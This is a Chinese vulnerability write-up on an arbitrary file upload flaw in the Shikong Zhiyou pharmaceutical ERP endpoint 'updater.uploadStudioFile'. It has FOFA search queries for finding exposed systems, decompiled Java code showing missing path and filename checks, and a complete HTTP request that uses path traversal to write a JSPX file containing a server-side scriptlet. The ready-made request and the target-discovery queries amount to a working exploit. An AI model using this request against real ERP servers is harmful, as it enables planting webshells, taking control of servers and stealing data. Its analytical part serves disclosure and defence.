漏洞简介
北京时空智友医药进销存ERP系统是一款面向医药行业的企业资源计划管理软件。该系统存在 updater.uploadStudioFile 文件上传漏洞,原因在于对上传文件缺乏有效的类型和权限校验,攻击者可通过构造恶意请求上传任意文件(如WebShell)到服务器。利用该漏洞,攻击者可能获取服务器控制权限,导致敏感数据泄露、系统被篡改或植入后门,严重威胁企业信息安全。
fofa语法
app="时空智友-企业管理"
icon_hash="-1855198728"
fid="IXXgtECT6as3EZE5r9If2w=="
漏洞分析
先看 uploadStudioFile 的业务逻辑实现如下
public String uploadStudioFile(HttpServletRequest var1, HttpServletResponse var2, InputStream var3) {
String var20 = GeneralUtility.getParameter(var1, "content");
InputSource var21;
(var21 = new InputSource(new StringReader(var20))).setEncoding("UTF-8");
Element var22;
String var27 = (var22 = (new SAXReader()).read(var21).getRootElement()).element("filename").getTextTrim();
String var4 = var22.element("filepath").getTextTrim();
long var10 = Long.valueOf(var22.element("filesize").getTextTrim());
String var23 = var22.element("lmtime").getTextTrim();
long var13 = ((Date)c.parseObject(var23)).getTime();
b();
File var24;
if (!(var24 = new File(e + "\\" + var4)).exists()) {
var24.mkdirs();
}
File var25;
(var25 = new File(var24, var27)).createNewFile();
FileOutputStream var28 = null;
boolean var17 = false;
label131: {
try {
var17 = true;
var28 = new FileOutputStream(var25);
byte[] var6 = new byte[4096];
int var5;
while((var5 = var3.read(var6)) != -1) {
var28.write(var6, 0, var5);
}
var28.flush();
var28.close();
var17 = false;
break label131;
} catch (Exception var18) {
var26 = "<errmsg>" + var18.getMessage() + "</errmsg>";
var17 = false;
} finally {
if (var17) {
if (var28 != null) {
var28.flush();
var28.close();
}
}
}
if (var28 != null) {
var28.flush();
var28.close();
}
return var26;
}
var28.flush();
var28.close();
if (var25.length() != var10) {
return "<errmsg>文件大小错误:" + var27 + "</errmsg>";
} else {
int var29 = 0;
while(var25.lastModified() != var13) {
++var29;
var25.setLastModified(var13);
if (var25.lastModified() == var13 || var29 > 500) {
break;
}
Thread.sleep(10L);
}
return var25.lastModified() != var13 ? "<errmsg>文件修改时间错误:" + var27 + "</errmsg>" : var27;
}
}
该方法 uploadStudioFile 主要用于接收上传的文件数据,并根据传入的 XML 字符串内容,创建对应的文件路径和文件名,将输入流写入本地文件系统。其处理流程如下:
首先,从 HttpServletRequest 中获取名为 content 的参数,该参数应为一个 XML 格式的字符串。接着,使用 SAXReader 解析该 XML 内容,获取根元素 var22。从根元素中提取 filename、filepath、filesize 和 lmtime 四个子元素的文本内容,分别用于构建目标文件名、路径、大小校验和最后修改时间。随后,根据 filepath 创建目标目录,若目录不存在则创建。接着,根据 filename 创建目标文件,并使用 FileOutputStream 将传入的 InputStream 数据写入该文件。在写入完成后,进行文件大小校验,若大小不一致则返回错误信息。最后,尝试设置文件的最后修改时间为 lmtime 转换后的时间戳,若设置失败则返回错误信息,否则返回文件名。
long var10 = Long.valueOf(var22.element("filesize").getTextTrim());
String var23 = var22.element("lmtime").getTextTrim();
long var13 = ((Date)c.parseObject(var23)).getTime();
主要是未对用户输入的 filepath 和 filename 进行合法性校验,攻击者可以通过构造恶意 XML 数据,指定任意路径和文件名,从而在服务器上写入任意文件,造成任意文件写入漏洞。同时 content 参数作为 XML 数据来源,未经过严格的格式验证和内容过滤,还存在 XML 注入漏洞,可以参考 时空智友企业流程化管控系统 updater.startUpdateStudio XXE漏洞
整体执行流程大致如下图所示

漏洞复现
需要注意 content 后面所有内容的字符长度为其中
<filesize>的值
POST /formservice?service=updater.uploadStudioFile HTTP/1.1
Host: skzy.mrxn.net
Content-Type: application/x-www-form-urlencoded
content=<updater xmlns:jsp="http://java.sun.com/JSP/Page"><filename>test.jspx</filename><filepath>../../../images/</filepath><filesize>347</filesize><lmtime>{{time()}}</lmtime><jsp:scriptlet>out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();</jsp:scriptlet></updater>
访问写入文件 images/test.jspx 即可



